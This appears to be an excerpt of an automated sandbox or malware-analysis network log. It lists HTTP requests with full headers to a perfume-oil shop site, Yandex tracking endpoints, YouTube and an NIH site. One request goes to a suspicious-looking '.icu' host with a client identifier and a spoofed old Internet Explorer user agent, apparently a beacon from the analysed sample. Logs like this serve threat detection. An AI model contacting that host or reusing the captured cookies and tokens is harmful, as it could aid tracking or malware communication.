Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_start?cid=99162160&redirect_domain=mc.yandex.com&scid=2677a275-3a7c-1e96-91b5-630258e18360&token=10611.-tHKwIW_VoShELL7jvY6R__vj1HdUGKAUIctSLZ5UOT5lyfC_ySoF6MfUMUzlQGH.tExO0TdDlIki3e-cOw-JuEg9v_E%2C HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; yandexuid=9938944691742212952; yashr=4971935051742212952; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDYnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.teubes.com%2F&charset=utf-8&uah=chu%0A%22Chromium%22%3Bv%3D%22134%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224%22%2C%22Google%20Chrome%22%3Bv%3D%22134%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A134.0.6998.36%0Achl%0A%22Chromium%22%3Bv%3D%22134.0.6998.36%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224.0.0.0%22%2C%22Google%20Chrome%22%3Bv%3D%22134.0.6998.36%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1630%3Acn%3A1%3Adp%3A0%3Als%3A1535836669915%3Ahid%3A344252978%3Az%3A-240%3Ai%3A20250317080233%3Aet%3A1742212953%3Ac%3A1%3Arn%3A427197675%3Arqn%3A1%3Au%3A1742212953540488512%3Aw%3A1280x897%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5856%3Awv%3A2%3Ads%3A401%2C1014%2C705%2C229%2C53%2C0%2C%2C7399%2C1%2C%2C%2C%2C9816%3Aco%3A0%3Acpf%3A1%3Ans%3A1742212942588%3Arqnl%3A1%3Ast%3A1742212955%3At%3ATeubes%20%E2%80%93%20Oils%20Out%20of%20Africa&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://www.teubes.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; i=w8qQR/Ag4ve2lPRgFpoJ5zqkKVDfRtGVz3B+b4b22y0HdGiqytPeEuHPbfx8MRDNQVhgG/o475VKbqhz1jAOfBX5+Wo=; yashr=5025012061742212955; yabs-sid=96441631742212956; yandexuid=8164734271742212954; yuidss=8164734271742212954; ymex=1773748956.yrts.1742212956; receive-cookie-deprecation=1; bh=Ej8iQ2hyb21pdW0iO3Y9IjEzNCIsIk5vdDpBLUJyYW5kIjt2PSIyNCIsIkdvb2dsZSBDaHJvbWUiO3Y9IjEzNCIaA3g4NiINMTM0LjAuNjk5OC4zNioCPzA6B1dpbmRvd3NCBjEwLjAuMEoCNjRSWSJDaHJvbWl1bSI7dj0iMTM0LjAuNjk5OC4zNiIsIk5vdDpBLUJyYW5kIjt2PSIyNC4wLjAuMCIsIkdvb2dsZSBDaHJvbWUiO3Y9IjEzNC4wLjY5OTguMzYiYNye4L4G
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?cid=99162160&scid=2677a275-3a7c-1e96-91b5-630258e18360&token=10611.3aVvV-gzh7oN8z2jrmha0ase10EWi0D9zg8vVon8k9a81GAb_IypCkRdJ2Aczjg1UTnb0K-8x9X4oSHDvH0_8fejZxv8Hd1psvdxLROJxC_WyWL9QjSkqKwGIZZDoADb8s9q_JPQxsGkMy3kLbkamOcb7z5XnTLlzBd_rWhms9QKw6rcIyeQLFbsth908ZLhMeVqX3dnF5sNeBO488iGBgxS8sZaHzVx-J1hP0Ss1N8%2C.BXHzc1QV_CeonnpA8mEmJ7JpjNU%2C HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; i=w8qQR/Ag4ve2lPRgFpoJ5zqkKVDfRtGVz3B+b4b22y0HdGiqytPeEuHPbfx8MRDNQVhgG/o475VKbqhz1jAOfBX5+Wo=; yashr=5025012061742212955; yabs-sid=96441631742212956; yandexuid=8164734271742212954; yuidss=8164734271742212954; ymex=1773748956.yrts.1742212956; receive-cookie-deprecation=1; bh=Ej8iQ2hyb21pdW0iO3Y9IjEzNCIsIk5vdDpBLUJyYW5kIjt2PSIyNCIsIkdvb2dsZSBDaHJvbWUiO3Y9IjEzNCIaA3g4NiINMTM0LjAuNjk5OC4zNioCPzA6B1dpbmRvd3NCBjEwLjAuMEoCNjRSWSJDaHJvbWl1bSI7dj0iMTM0LjAuNjk5OC4zNiIsIk5vdDpBLUJyYW5kIjt2PSIyNC4wLjAuMCIsIkdvb2dsZSBDaHJvbWUiO3Y9IjEzNC4wLjY5OTguMzYiYNye4L4G
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/09/cropped-Neroli-32x32.png HTTP/1.1Host: www.teubes.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0; _ym_uid=1742212953540488512; _ym_d=1742212953; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /pagead/id?slf_rd=1 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ytc/AIdro_klalc6l_jAyx3Lt8r1JXhMugne0bLUkNlPplmnmKCa8w8w=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; yashr=5025012061742212955; yabs-sid=96441631742212956; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDdnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; yandexuid=9938944691742212952; yuidss=9938944691742212952; i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; yp=1742299357.yu.8164734271742212954; ymex=1744804957.oyu.8164734271742212954#1773748956.yrts.1742212956; sync_cookie_ok=synced
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.teubes.com%2F&charset=utf-8&uah=chu%0A%22Chromium%22%3Bv%3D%22134%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224%22%2C%22Google%20Chrome%22%3Bv%3D%22134%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A134.0.6998.36%0Achl%0A%22Chromium%22%3Bv%3D%22134.0.6998.36%22%2C%22Not%3AA-Brand%22%3Bv%3D%2224.0.0.0%22%2C%22Google%20Chrome%22%3Bv%3D%22134.0.6998.36%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1630%3Acn%3A1%3Adp%3A0%3Als%3A1535836669915%3Ahid%3A344252978%3Az%3A-240%3Ai%3A20250317080233%3Aet%3A1742212953%3Ac%3A1%3Arn%3A427197675%3Arqn%3A1%3Au%3A1742212953540488512%3Aw%3A1280x897%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5856%3Awv%3A2%3Ads%3A401%2C1014%2C705%2C229%2C53%2C0%2C%2C7399%2C1%2C%2C%2C%2C9816%3Aco%3A0%3Acpf%3A1%3Ans%3A1742212942588%3Arqnl%3A1%3Ast%3A1742212955%3At%3ATeubes%20%E2%80%93%20Oils%20Out%20of%20Africa&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; yashr=5025012061742212955; yabs-sid=96441631742212956; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDdnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; yandexuid=9938944691742212952; yuidss=9938944691742212952; i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; yp=1742299357.yu.8164734271742212954; ymex=1744804957.oyu.8164734271742212954#1773748956.yrts.1742212956; sync_cookie_ok=synced; _yasc=CUpVXSFFu1KRNJhZNWFTLRNxAZsN61BZoJU1mowX4XolOoTSQH6YmRq63JdP4u5OSvI=
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?cid=99162160&scid=2677a275-3a7c-1e96-91b5-630258e18360&token=10611.3aVvV-gzh7oN8z2jrmha0ase10EWi0D9zg8vVon8k9a81GAb_IypCkRdJ2Aczjg1UTnb0K-8x9X4oSHDvH0_8fejZxv8Hd1psvdxLROJxC_WyWL9QjSkqKwGIZZDoADb8s9q_JPQxsGkMy3kLbkamOcb7z5XnTLlzBd_rWhms9QKw6rcIyeQLFbsth908ZLhMeVqX3dnF5sNeBO488iGBgxS8sZaHzVx-J1hP0Ss1N8%2C.BXHzc1QV_CeonnpA8mEmJ7JpjNU%2C HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; yashr=5025012061742212955; yabs-sid=96441631742212956; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDdnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; yandexuid=9938944691742212952; yuidss=9938944691742212952; i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; yp=1742299357.yu.8164734271742212954; ymex=1744804957.oyu.8164734271742212954#1773748956.yrts.1742212956; sync_cookie_ok=synced; _yasc=CUpVXSFFu1KRNJhZNWFTLRNxAZsN61BZoJU1mowX4XolOoTSQH6YmRq63JdP4u5OSvI=
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/09/cropped-Neroli-32x32.png HTTP/1.1Host: www.teubes.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: cjs_id=b9d64623-638c-4813-b3f7-9a351f393ff0; _ym_uid=1742212953540488512; _ym_d=1742212953; _ym_isad=2
Source: global traffic	HTTP traffic detected: GET /youtubei/v1/log_event?alt=json HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fwww.teubes.com%2F&pointer-click=rn%3A13929908%3Ax%3A11702%3Ay%3A18724%3At%3A125%3Ap%3A%3FAAA2%3AX%3A507%3AY%3A441&browser-info=u%3A1742212953540488512%3Av%3A1630%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1742212966&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://www.teubes.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://www.teubes.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; yashr=5025012061742212955; yabs-sid=96441631742212956; receive-cookie-deprecation=1; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDdnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; yandexuid=9938944691742212952; yuidss=9938944691742212952; i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; sync_cookie_ok=synced; yp=1742299364.yu.9938944691742212952; ymex=1744804964.oyu.9938944691742212952#1773748956.yrts.1742212956
Source: global traffic	HTTP traffic detected: GET /gkcxv.google?i=b9d64623-638c-4813-b3f7-9a351f393ff0 HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: check.xemyrai6.icuConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /clmap/99162160?page-url=https%3A%2F%2Fwww.teubes.com%2F&pointer-click=rn%3A13929908%3Ax%3A11702%3Ay%3A18724%3At%3A125%3Ap%3A%3FAAA2%3AX%3A507%3AY%3A441&browser-info=u%3A1742212953540488512%3Av%3A1630%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Arqnl%3A1%3Ast%3A1742212966&t=gdpr(14)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=445238413fake; yashr=5025012061742212955; yabs-sid=96441631742212956; bh=EkEiQ2hyb21pdW0iO3Y9IjEzNCIsICJOb3Q6QS1CcmFuZCI7dj0iMjQiLCAiR29vZ2xlIENocm9tZSI7dj0iMTM0IioCPzA6CSJXaW5kb3dzImDdnuC+Bmoe3Mrh/wiS2KGxA5/P4eoD+/rw5w3r//32D8eDzocI; yandexuid=9938944691742212952; yuidss=9938944691742212952; i=ezBB1x8u5kjCFPOGPkbghqfIaoviaf34by6AwGODOwe41AqAxYv9unq0g/3jEB4sUtytNACLCy0ogTndCCQT3SEyNUk=; sync_cookie_ok=synced; _yasc=CUpVXSFFu1KRNJhZNWFTLRNxAZsN61BZoJU1mowX4XolOoTSQH6YmRq63JdP4u5OSvI=; yp=1742299364.yu.9938944691742212952; ymex=1744804964.oyu.9938944691742212952#1773748956.yrts.1742212956
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: oamp.od.nih.gov
Source: global traffic	HTTP traffic detected: GET /5fc2b821f2.js HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: kit.fontawesome.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bootstrap/3.4.1/css/bootstrap.min.css HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: maxcdn.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/misc/components/progress.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/misc/components/ajax-progress.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/align.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/fieldgroup.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/container-inline.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/clearfix.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/details.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/hidden.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/item-list.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/js.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/nowrap.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/position-container.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/reset-appearance.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /core/modules/system/css/components/resize.module.css?sqz1q7 HTTP/1.1Accept: /Referer: https://oamp.od.nih.gov/Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: oamp.od.nih.govConnection: Keep-Alive
